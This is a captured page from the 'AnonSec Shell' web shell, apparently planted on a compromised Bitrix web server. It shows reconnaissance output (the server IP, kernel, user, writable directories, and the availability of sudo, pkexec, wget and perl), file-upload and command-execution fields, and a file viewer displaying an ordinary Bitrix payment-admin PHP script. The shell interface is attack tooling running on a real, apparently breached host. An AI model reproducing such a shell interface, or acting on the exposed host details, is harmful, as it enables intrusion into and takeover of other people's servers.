AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 13.59.218.9
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/sale/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/sale/admin/pay_system_cashbox_ajax.php
<?php

use Bitrix\Main;
use Bitrix\Main\Application;
use Bitrix\Sale\Cashbox;
use Bitrix\Sale\PaySystem;

define('NO_KEEP_STATISTIC', true);
define('NO_AGENT_STATISTIC', true);
define('NO_AGENT_CHECK', true);
define('NOT_CHECK_PERMISSIONS', true);

require $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_before.php';

Main\Loader::includeModule('sale');

$request = Application::getInstance()->getContext()->getRequest();

require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/sale/lib/internals/input.php';

global $APPLICATION;
$saleModulePermissions = $APPLICATION->GetGroupRight('sale');

$arResult = [];

if ($saleModulePermissions >= 'W' && check_bitrix_sessid())
{
	$action = ($request->get('action') !== null) ? trim($request->get('action')) : '';
	switch ($action)
	{
		case 'reload_settings':

			$service = PaySystem\Manager::getObjectById($request->get('paySystemId'));
			$cashbox = [
				'HANDLER' => $request->get('handler'),
				'KKM_ID' => $request->get('kkmId'),
			];

			/** @var Cashbox\Cashbox $handler */
			$handler = $cashbox['HANDLER'];
			if (is_subclass_of($handler, Cashbox\Cashbox::class))
			{
				ob_start();
				require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/sale/admin/pay_system_cashbox_edit.php';
				$arResult['HTML'] = ob_get_clean();
			}

			break;
	}
}

if (mb_strtolower(SITE_CHARSET) !== 'utf-8')
{
	$arResult = Main\Text\Encoding::convertEncoding($arResult, SITE_CHARSET, 'utf-8');
}

header('Content-Type: application/json');
die(json_encode($arResult));

Anon7 - 2022
AnonSec Team